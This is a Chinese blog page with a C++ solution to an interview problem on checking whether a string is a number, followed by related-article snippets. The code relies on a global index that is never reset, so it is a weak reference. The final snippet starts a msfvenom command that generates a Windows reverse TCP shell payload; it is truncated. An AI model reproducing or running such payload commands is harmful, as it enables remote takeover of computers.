剑指offer-面试题20-表示数值的字符串-字符串
/*
题目:
判断字符串是否表示数值。
*/
/*
思路:
字符串遵循模式A[.[B]][e|EC] ,[+|-].B[e|EC]
A、C为可能带正负号的数字串
B为数字串
*/
#include<iostream>
#include<string.h>
#include<algorithm>
#include<cmath>
#include<stdio.h>
using namespace std; int index = 0;
bool scanUnsignedInteger(char *str){
if(str[index] >= '0' && str[index] <= '9'){
while(str[index] >= '0' && str[index] <= '9'){
index++;
}
if(str[index] != '.' && str[index] != 'e' && str[index] != '\0' && str[index] != 'E'){
return false;
}
return true;
}
return false; } bool scanInteger(char* str){
if(str[index] == '+' || str[index] == '-'){
index++;
}
return scanUnsignedInteger(str);
} bool isNumeric(char* str)
{
if(str == nullptr || *str == '\0'){
return false;
}
bool numeric = true; if(str[index] != '.'){
numeric = scanInteger(str);
if(str[index] == '.'){
index++;
if(str[index] != 'e' && str[index] != 'E'){
numeric = scanUnsignedInteger(str);
} }
}else {
index++;
numeric = scanUnsignedInteger(str);
}
if((str[index] == 'e' || str[index] == 'E') && numeric){
index++;
numeric = scanInteger(str);
}
return numeric && str[index]=='\0';
} int main(){
char* str = "100";
cout<<isNumeric(str)<<endl;
}
剑指offer-面试题20-表示数值的字符串-字符串的更多相关文章
- 剑指Offer:面试题20——顺时针打印矩阵(java实现)
题目描述: 输入一个矩阵,按照从外向里以顺时针的顺序依次打印出每一个数 字,例如,如果输入如下矩阵: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 则依次打印出数字1, ...
- 剑指 offer面试题20 顺时针打印矩阵
[题目描述] 输入一个矩阵,按照从外向里以顺时针的顺序依次打印出每一个数字,例如,如果输入如下矩阵: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 则依次打印出数字1, ...
- 剑指offer——面试题16:数值的整数次方
// 面试题16:数值的整数次方 // 题目:实现函数double Power(double base, int exponent),求base的exponent // 次方.不得使用库函数,同时不需 ...
- 剑指offer——面试题20:表示数值的字符串
#include"iostream" using namespace std; bool IsInt(const char **str); bool IsUnsignInt(con ...
- 剑指Offer面试题:10.数值的整数次方
一.题目:数值的整数次方 题目:实现函数double Power(doublebase, int exponent),求base的exponent次方.不得使用库函数,同时不需要考虑大数问题. 在.N ...
- 剑指Offer——笔试题+知识点总结
剑指Offer--笔试题+知识点总结 情景回顾 时间:2016.9.23 12:00-14:00 19:00-21:00 地点:山东省网络环境智能计算技术重点实验室 事件:笔试 注意事项:要有大局观, ...
- C++版 - 剑指offer 面试题24:二叉搜索树BST的后序遍历序列(的判断) 题解
剑指offer 面试题24:二叉搜索树的后序遍历序列(的判断) 题目:输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果.如果是则返回true.否则返回false.假设输入的数组的任意两个 ...
- C++版 - 剑指Offer 面试题45:圆圈中最后剩下的数字(约瑟夫环问题,ZOJ 1088:System Overload类似)题解
剑指Offer 面试题45:圆圈中最后剩下的数字(约瑟夫环问题) 原书题目:0, 1, - , n-1 这n个数字排成一个圈圈,从数字0开始每次从圆圏里删除第m个数字.求出这个圈圈里剩下的最后一个数字 ...
- 【剑指Offer面试题】 九度OJ1510:替换空格
c/c++ 中的字符串以"\0"作为结尾符.这样每一个字符串都有一个额外字符的开销. 以下代码将造成内存越界. char str[10]; strcpy(str, "01 ...
- 剑指Offer:面试题15——链表中倒数第k个结点(java实现)
问题描述 输入一个链表,输出该链表中倒数第k个结点.(尾结点是倒数第一个) 结点定义如下: public class ListNode { int val; ListNode next = null; ...
随机推荐
- sqlserver datatime value plus random number
If we want to make some identiity value in sqlserver , we can use identity data type in a table.Howe ...
- EMC NW disaster and recovery simulation 1
终于可以模拟成功了虽然只是个实验但是很有借鉴意义. 前期的准备就不说了都懂直接上图吧 scanner -B networker_indexclone to find out the laster bo ...
- 机器学习(ML)十二之编码解码器、束搜索与注意力机制
编码器—解码器(seq2seq) 在自然语言处理的很多应用中,输入和输出都可以是不定长序列.以机器翻译为例,输入可以是一段不定长的英语文本序列,输出可以是一段不定长的法语文本序列,例如 英语输入:“T ...
- Go语言实现:【剑指offer】二进制中1的个数
该题目来源于牛客网<剑指offer>专题. 输入一个整数,输出该数二进制表示中1的个数.其中负数用补码表示. 分析: 如果一个整数不为0,那么这个整数至少有一位是1.如果我们把这个整数减1 ...
- 高精度模板(Vector实现更加方便)
计算的数long long 甚至更大的数据类型的都存不下的时候,应该怎么办 ? 解决方法 :我们可以把一个很大的数当做字符串进行处理,这时候就需要用到高精度. 话不多说,咱们边看代码边处理 : 加法 ...
- win10系统安装VMware虚拟机软件以及linux系统
一.安装VMware 1.在VMware官网下载VMware Workstation Pro 15.5.1 下载地址:https://my.vmware.com/cn/web/vmware/detai ...
- golang 自定义结构体(与其他语言对象类似)
/* 结构体变量: 结构体的定义只是一种内存布局的描述,只有当结构体实例化时,才会真正地分配内存, 因此必须在定义结构体并实例化后才能使用结构体的字段. type 类型名 struct { 字段1 字 ...
- debian 安装xz 命令
# apt install -y xz-utils # xz -d Python-3.6.8.tar.xz # xz -d Python-3.6.8.tar.xz
- C语言快速排序函数------qsort();
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<conio.h> ty ...
- MSFVENOM SHELLCODE生成备忘录
MSFVENOM SHELLCODE生成 通用Shellcode msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHO ...